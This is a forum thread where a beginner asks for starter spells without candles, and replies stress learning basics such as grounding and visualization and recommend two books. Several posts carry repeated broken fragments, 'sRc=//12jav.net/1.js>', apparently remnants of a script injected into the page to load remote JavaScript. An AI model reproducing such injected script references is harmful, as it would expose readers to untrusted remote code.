I was wondering what would be a good starting point for spells (preferbly anything without candles I don't think I'm allowed to burn any candles) sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
Healing spells, protection spells, energy spells, good luck spells. all are good starting points and cover the basics of spell casting. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
Well, if you need advice on a starting point in spells, you are probably not ready to use spells. Spells are not the major part in magick, you should learn the basics before attempting anything like spells for a better understanding.

It still surprises me that so many members of this site,and many similar sites,think that a spell is magic. It isn't!
A spell is a ritual attempt to obtain a magical result; it is not magic of itself!
I have been practising witchcraft/magic for over seventy years; and I have never cast a spell! sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Well, if you're serious about learning how to do magic and with starting from the rock-bottom then you don't start out by casting spells, you start out by learning how and why magic works.
You see, there is no such thing as an "easy" spell or a "beginner" spell. One either understands how magic works and has mastered the basics...in which case the magic will work..or you haven't done that sort of work..and no spell will work no matter how "easy" it seems.
Casting a successful spell involves much more than finding some spell on the internet or in a book, saying some words, lighting a candle, waving a wand of any of that sort of thing. In order for magic to work you need to understand how and why it works in the first place. Grounding and centering, visualization, focus and intent, energy manipulation, etc are all necessary first steps to even begin to have a chance at a spell actually working...and more importantly to prevent a spell from back-firing on you.
So, my advice for anyone who is truly serious is to start by reading a few books and practicing the exercises those books will give you. Once you have mastered the basics you won't need anyone to give you spells, you'll be able to create your own spells that will be far more effective than anything you find on the net. Here's the books I suggest:
"Before You Cast a Spell" by Carl McColman
"Spells and How They Work" by Janet and Stewart Farrar
Simple Psy-ball spell would be excellent start and it also serves as a good training exercise in visualization, concentration and external energy manipulation. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
